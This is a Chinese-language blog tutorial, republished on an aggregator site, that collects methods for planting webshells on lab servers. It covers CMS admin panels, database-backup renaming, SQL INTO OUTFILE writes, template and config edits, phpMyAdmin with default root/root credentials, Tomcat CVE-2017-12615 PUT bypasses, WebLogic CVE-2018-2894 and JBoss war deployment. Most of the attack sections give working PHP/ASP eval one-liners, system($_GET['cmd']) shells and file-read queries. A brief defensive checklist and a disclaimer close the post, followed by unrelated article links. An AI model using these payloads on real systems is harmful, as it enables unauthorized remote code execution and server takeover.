webshell获取总结（cms获取方法、非cms获取方法、中间件拿Webshell方法）

目录

前期准备：

1、cookices靶场网站搭建：

 2、dedecms靶场环境搭建：

获取Webshell方法总结：

一、CMS获取Webshell方法

 二、非CMS获取Webshell方法

1、数据库备份获取Webshell

例如：

2、抓包上传获取Webshell

3、Sql命令获取Webshell

例如：

4、模板修改获取Webshell

例如：

5、插入一句话获取Webshell

例如：

6、修改上传类型获取Webshell

例如：

7、phpMyAdmin获取webshell

三、其它获取Webshell方法

中间件拿Webshell方法：

1、Tomcat获取Webshell

2、Weblogic获取Webshell

3、JBoss获取Webshell

 四、合法的安全实践与防御措施：

正确使用CMS的建议：

合法途径与安全建议：

前期准备：

1、cookices靶场网站搭建：

iis新建网站：

权限配置：

IUSR用户设置所有权限： 

属性--设置父路径：

管理员登录网站：

账户：admin  admin

http://10.0.0.101:82/admin/Login.asp

 2、dedecms靶场环境搭建：

http://10.0.0.101:90/dedecms/install/

打开phpstudy配置文件， iregister_globalsg改为off，重启phpstudy生效：

刷新页面： 

 登录后台：

http://10.0.0.101:90/dedecms/dede/

 完成。

获取Webshell方法总结：

一、CMS获取Webshell方法

主要通过百度搜索CMS网站程序名称。        

如:phpcms拿Webshell、WordPress后台拿Webshell等

 二、非CMS获取Webshell方法

1、数据库备份获取Webshell

例如：

cookices靶场后台：在首页--企业信息--企业简介含文件上传：

上传文件进行上传照片马：

木马文件被后台重命名jpg文件 ：

照片地址
http://10.0.0.101:82/UploadFiles/2024612172324797.jpg

找到【系统管理-数据库备份】把原来上传的照片马重命名备份： 

 备份的照片马物理路径调整为链接进行阅览器访问：

http://10.0.0.101:82/admin/Databackup/123.asa

照片马成功执行： 

菜刀远程访问： 

http://10.0.0.101:82/admin/Databackup/123.asaSkull.

2、抓包上传获取Webshell

3、Sql命令获取Webshell

例如：

dedecms靶场后台--系统--SQL命令行工具：

 插入一句话语句写入到站点目录：

Select '<?php eval($_POST[chopper]);?>' into outfile 'c:/phpstudy/www/eval.php';

 前提：MySQL配置文件secure_file_priv="" 为空

 

 成功上传根目录：

 菜刀远程访问：

http://10.0.0.101:90/eval.phpchopper

成功连接访问：

4、模板修改获取Webshell

例如：

 dedecms靶场后台：模板--标签源码管理--编辑php文件：

为php代码修改为php一句话木马：： 

 

 根据文件存放目录访问木马文件：

菜刀远程连接：

http://10.0.0.101:90/dedecms/include/taglib/adminname.lib.phpchopper

 成功访问：

5、插入一句话获取Webshell

例如：

cookices靶场后台：【站点-系统管理-网站配置】与网站配置文件【Config.asp】显示内容一致：

说明：修改站点网站配置内容会直接保存在Config.asp文件里，根据这一特性编辑一句话木马语句插入到网站配置里

 一句话木马：（先用"%>进行闭合前面内容）

"%><%eval request("Skull.")%><%'"

 访问一句话木马

http://10.0.0.101:82/inc/config.asp

菜刀远程连接：

 

6、修改上传类型获取Webshell

例如：

 dedecms靶场后台：核心--附件管理--文件式管理器--点击文件上传：

上传php木马： 

 上传成功，点击访问：

成功执行： 

7、phpMyAdmin获取webshell

web方式mysql管理工具phpMyAdmin

http://10.0.0.101:90/phpmyadmin/

默认账户：root

默认密码：root

 

 点击SQL输入sql语句插入一句话木马：

方法一： 

CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );
INSERT INTO `mysql`.`best` (`best1` ) VALUES ('<?php @eval($_POST[pass]);?>');
use mysql;
SELECT `best1` FROM `best` INTO OUTFILE 'c:\\phpStudy\\WWW\\best111111.php';
DROP TABLE IF EXISTS `best`;

方法二： 

Create TABLE oldboy (best text NOT NULL);
Insert INTO oldboy (best) VALUES('<?php @eval($_POST[pass]);?>');
select best from oldboy into outfile 'C:\\php\\htdocs\\best111111.php';
Drop TABLE IF EXISTS oldboy;

方法三：

select '<?php @eval($_POST[pass]);?>' INTO OUTFILE 'C:\\php\\htdocs\\best111111.php';

 或

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'C:/php/htdocs/best111111.php';

读取文件内容 

select load_file(‘c://windows//system32//inetsrv//MetaBase.xml');
c:/windows/system32/inetsrv/MetaBase.xml

三、其它获取Webshell方法

中间件拿Webshell方法：

1、Tomcat获取Webshell

Tomcat文件上传漏洞：

CVE-2017-12615

CVE-2020-1938

弱口令&war远程部署

参考链接：

干货｜最全的Tomcat漏洞复现笔记

CVE-2017-12615漏洞：

CVE-2017-12615对应的漏洞为任意文件写入，主要影响的是Tomcat的7.0.0-7.0.81这几个版本

Tomcat-漏洞原理

由于配置不当（非默认配置），将配置文件conf/web.xml中的readonly设置为了 false，导致可以使用PUT方法上传任意文件，但限制了jsp后缀的上传

根据描述，在 Windows 服务器下，将 readonly 参数设置为 false 时，即可通过 PUT 方式创建一个 JSP 文件，并可以执行任意代码

通过阅读 conf/web.xml 文件，可以发现，默认 readonly 为 true，当 readonly 设置为 false 时，可以通过 PUT / DELETE 进行文件操控。

这里就需要进行绕过，这里绕过有三种方法：

1.Windows下不允许文件以空格结尾（限于Windows下）
以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格2.Windows NTFS流（限于Windows下）
Put/a001.jsp::$DATA HTTP/1.13. /在文件名中是非法的，也会被去除（Linux/Windows）
Put/a001.jsp/http:/1.1

2、Weblogic获取Webshell

任意文件上传漏洞操作（CVE-2018-2894）

未授权访问路径:（未登录）

http://10.0.0.101:7001/ws_utc/config.do

​

 修改当前的工作目录

 默认为：

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir

修改为： 

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css

​

 修改目录之后，点击安全--添加--输入账号密码---选择木马文件--bp抓包--提交上传​

 获取响应包：

​

上传成功：

​

访问上传的木马文件：

访问连接修改抓包获取的id和文件名（1715849377709_muma.jsp）

http://10.0.0.101:7001/ws_utc/css/config/keystore/1715849377709_muma.jsp

 木马文件成功访问执行：

​

由此可以使用webshell工具远程控制。

3、JBoss获取Webshell

 如：访问上传的【jobfan.war压缩包】里的no.jsp文件（jobfan.war压缩包含木马文件）

​

​

 阅览器访问：

（ jboss访问：压缩包名+文件名）

http://10.0.0.101:7777/jobfan/no.jsp

​

 可以执行操作相关命令：​

四、合法的安全实践和防御措施总结：

  1. 安全培训：提升团队对网络安全威胁的意识，包括Webshell的危害和防御策略。
  2. 代码审计：定期审查网站代码，查找并修复潜在的安全漏洞，如注入、跨站脚本(XSS)、文件包含等。
  3. 权限控制：严格限制服务器和应用程序的访问权限，遵循最小权限原则。
  4. 安全配置：正确配置Web服务器、数据库和应用程序框架，禁用不必要的功能和服务。
  5. 输入验证与过滤：对所有用户输入进行严格的验证和过滤，避免恶意数据执行。
  6. 安全更新：定期更新CMS、插件、主题及所有依赖组件，修补已知安全漏洞。
  7. 防火墙与IDS：部署Web应用防火墙和入侵检测系统，监测并阻止可疑请求。
  8. 日志监控：定期审查系统和应用日志，及时发现并响应异常活动。
  9. 备份与恢复计划：制定数据备份策略，确保在遭受攻击时能够迅速恢复。

请始终遵循合法合规的途径，保护网络安全，维护数据隐私，共同营造健康的网络环境。

合法途径与安全建议：

  1. 安全审计与渗透测试：

    • 对网站进行定期的安全审计和渗透测试，但需确保在合法授权下进行，旨在发现并修复安全漏洞，而非恶意利用。

  2. 教育与培训：

    • 加强团队对网络安全知识的学习，了解常见的攻击手段如SQL注入、文件上传漏洞等，并掌握防范措施。

  3. 强化防护措施：

    • 配置服务器以限制不必要的文件执行权限，启用防火墙规则，定期更新系统及应用程序补丁。

  4. 代码审查与安全开发：

    • 实施严格的代码审查流程，采用安全编码实践，如对用户输入进行过滤和验证，使用预编译语句预防SQL注入等。

  5. 应急响应计划：

    • 制定详细的网络安全事件应急响应计划，以便在发生安全事件时迅速有效地应对。

声明：

  • 此文章只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如果您对文章内容有疑问，可以尝试留言私信，如有侵权请联系小编处理。
  • 请始终遵循合法合规的安全操作，维护网络安全环境，保护用户数据安全。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/347934.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

推荐这两款AI工具，真的很好用

推荐这两款AI工具，真的很好用

巨日禄 巨日禄是一款由杭州巨日禄科技有限公司开发的AI工具&#xff0c;主要功能是将文本内容转换为视频。该工具通过分析大量的剧本数据和影视作品&#xff0c;为用户提供各种类型的故事情节和角色设置&#xff0c;帮助用户快速找到灵感&#xff0c;减少构思剧本的困难和犹豫。…
阅读更多...
黑苹果睡眠总是自动唤醒(RTC)

黑苹果睡眠总是自动唤醒(RTC)

黑苹果睡眠总是自动唤醒【RTC】 1. 问题2. 解决方案2.1. 查看重启日志2.2. 配置Disable RTC wake scheduling补丁 3. 后续4. 参考 1. 问题 黑苹果EFI 更换后&#xff0c;总是在手动 睡眠后&#xff0c;间歇性重启&#xff0c;然后再次睡眠&#xff0c;然后再重启。原因归结为&…
阅读更多...
matrix-breakout-2-morpheus vulnhub靶场

matrix-breakout-2-morpheus vulnhub靶场

端口扫描 80 81 需要用户名密码登录 目录扫描 robots.txt 妹用 找不到利用点&#xff0c;换个扫描器再扫 发现新的文件 graffiti.txt graffiti.php 输入的数据Post后会回显到页面上 抓包看看&#xff0c;居然直接传文件路径 发现我们post的数据被写入了graffiti.…
阅读更多...
一种基于单片机的智能饮水机设计

一种基于单片机的智能饮水机设计

随着人们生活水平的提高&#xff0c;对美好生活质量的追求也越来越高。饮 水机是人们日常生活不可或缺的&#xff0c;实现饮水机的智能化控制不但方便&#xff0c; 而且更加安全。本文提出一种基于单片机的智能饮水控制系统&#xff0c;通过传 感器实现对水温的监测&#xff0c…
阅读更多...
最新下载：CorelDraw 2023【软件附加安装教程】

最新下载：CorelDraw 2023【软件附加安装教程】

简介&#xff1a; CorelDRAW Graphics Suite 订阅版拥有配备齐全的专业设计工具包&#xff0c;可以通过非常高的效率提供令人惊艳的矢量插图、布局、照片编辑和排版项目。价格实惠的订阅就能获得令人难以置信的持续价值&#xff0c;即时、有保障地获得独家的新功能和内容、一流…
阅读更多...
服务部署：.NET项目使用Docker构建镜像与部署

服务部署：.NET项目使用Docker构建镜像与部署

前提条件 安装Docker&#xff1a;确保你的Linux系统上已经安装了Docker。如果没有&#xff0c;请参考官方文档进行安装。 步骤一&#xff1a;准备项目文件 将你的.NET项目从Windows系统复制到Linux系统。你可以使用Git、SCP等工具来完成这个操作。如何是使用virtualbox虚拟电…
阅读更多...
Linux基础IO【II】

Linux基础IO【II】

今天&#xff0c;我们接着在上一篇文章的基础上&#xff0c;继续学习基础IO。观看本文章之前&#xff0c;建议先看&#xff1a;Linux基础IO【I】&#xff0c;那&#xff0c;我们就开始吧&#xff01; 一.文件描述符 1.重新理解文件 文件操作的本质&#xff1a;进程和被打开文件…
阅读更多...
每天五分钟计算机视觉：如何在现有经典的卷积神经网络上进行微调

每天五分钟计算机视觉：如何在现有经典的卷积神经网络上进行微调

本文重点 在深度学习领域，卷积神经网络（Convolutional Neural Networks，CNN）因其强大的特征提取和分类能力而广泛应用于图像识别、自然语言处理等多个领域。然而，从头开始训练一个CNN模型往往需要大量的数据和计算资源，且训练时间较长。幸运的是，迁移学习（Transfer Le…
阅读更多...
2024 年适用于 Linux 的 5 个微软 Word 替代品

2024 年适用于 Linux 的 5 个微软 Word 替代品

对于那些最近由于隐私问题或其他原因而转向 Linux 的用户来说&#xff0c;可能很难替换他们最喜欢的、不在 Linux 操作系统上运行的应用程序。 寻找流行程序的合适替代品可能会成为一项挑战&#xff0c;而且并不是每个人都准备好花费大量时间来尝试弄清楚什么可以与他们在 Win…
阅读更多...
Linux命令详解（1）

Linux命令详解（1）

在Linux操作系统中&#xff0c;命令行界面&#xff08;CLI&#xff09;是一个强大的工具&#xff0c;它允许用户通过键入命令来与系统交互。无论是系统管理员还是普通用户&#xff0c;掌握一些基本的Linux命令都是非常重要的。在本文中&#xff0c;我们将探讨一些常用的Linux命…
阅读更多...
最短路：spfa算法

最短路：spfa算法

最短路&#xff1a;spfa算法 题目描述参考代码![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/3be484da34a84911a0a7dab3f1d84945.png) 题目描述 参考代码 输入示例 3 3 1 2 5 2 3 -3 1 3 4输出示例 2#include <iostream> #include <cstring> #inc…
阅读更多...
开发移动端常见的问题：VW适配问题，基于 postcss 插件 实现项目vw适配

开发移动端常见的问题：VW适配问题，基于 postcss 插件 实现项目vw适配

当你开发移动端的时候有一个问题是避免不了的&#xff0c;那就是当屏幕大小无论怎么变化时&#xff0c;内部尺寸也要随之发生改变&#xff0c;也就是适配问题。这里我们讲的是最新的VW适配&#xff0c;也就是用vw作为单位&#xff0c;100vw是整个页面的大小。而在开发的设计图中…
阅读更多...
艾宾浩斯winform单词系统+mysql

艾宾浩斯winform单词系统+mysql

为用户提供集词典、题库、记忆单词功能于一体的应用&#xff0c;为用户提供目的性强、科学高效、多样化的记忆单词方法&#xff0c;使用户学习英语和记忆单词的效率得到提高 单词记忆模块 管理模块 查询单词 阅读英文 查看词汇 记忆单词 收藏单词 字段管理设置 统计 艾宾浩斯wi…
阅读更多...
go语言后端开发学习(二)——基于七牛云实现的资源上传模块

go语言后端开发学习(二)——基于七牛云实现的资源上传模块

前言 在之前的文章中我介绍过我们基于gin框架怎么实现本地上传图片和文本这类的文件资源(具体文章可以参考gin框架学习笔记(二) ——相关数据与文件的响应)&#xff0c;但是在我们实际上的项目开发中一般却是不会使用本地上传资源的方式来上传的&#xff0c;因为文件的上传与读…
阅读更多...
Android Glide loading Bitmap from RESOURCE_DISK_CACHE slow,cost time≈2 seconds+

Android Glide loading Bitmap from RESOURCE_DISK_CACHE slow,cost time≈2 seconds+

Android Glide loading Bitmap from RESOURCE_DISK_CACHE slow,cost time≈2 seconds 加载一张宽高约100px多些的小图&#xff0c;是一张相当小的正常图片&#xff0c;loading Bitmap from RESOURCE_DISK_CACHE竟然耗时达到惊人的3秒左右&#xff01;&#xff08;打开Glide调试…
阅读更多...
推荐使用三丰云免费云服务器、免费虚拟主机

推荐使用三丰云免费云服务器、免费虚拟主机

官网地址&#xff1a;www.sanfengyun.com 三丰云服务器&#xff1a; 配置高&#xff1a;能够轻松运行应用程序和网站&#xff0c;在处理大量请求和保持高可靠性方面表现出色。 易用性好&#xff1a;界面直观、简单&#xff0c;能够轻松管理服务器和资源&#xff0c;快速创建和…
阅读更多...
vs调试时无法找到文件-chromium源码编译

vs调试时无法找到文件-chromium源码编译

一直跟着教程走结果报错了&#xff0c;找了半天的教程无法解决&#xff0c;于是乎只好重来&#xff0c;因为这个是属于项目调试&#xff0c;报错了可以重新编译项目就好。在重新做的过程中发现路径写错了
阅读更多...
C#操作MySQL从入门到精通(22)——创建表与操纵表

C#操作MySQL从入门到精通(22)——创建表与操纵表

前言 我们新建数据库以后，最需要做的就是创建表，对数据库的操作绝大多数情况下都是都对表的操作，本文就是讲解如何创建表以及修改表中的列，修改表名等操作。由于创建表的方法基本上有两种，一种是使用带有界面的工具比如Navicate来创建表，另一种是使用sql语句来创建表，实…
阅读更多...
SSL/TLS和HTTPS

SSL/TLS和HTTPS

HTTPS就是用了TLS包装的Socket进行通信的HTTP 混合加密 被称为混合加密。具体过程如下&#xff1a; 使用非对称加密协商对称密钥&#xff1a; 在通信的开始阶段&#xff0c;通常由客户端和服务器使用非对称加密算法&#xff08;如RSA&#xff09;来协商一个对称密钥。通常情…
阅读更多...
AI智能体的分级

AI智能体的分级

技术的分级 人们往往通过对一个复杂的技术进行分级&#xff0c;明确性能、适用范围和价值&#xff0c;方便比较、选择和管理&#xff0c;提高使用效率&#xff0c;促进资源合理分配和技术改进和标准化。 比如&#xff0c;国际汽车工程师学会&#xff08;SAE&#xff09;定义了自…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023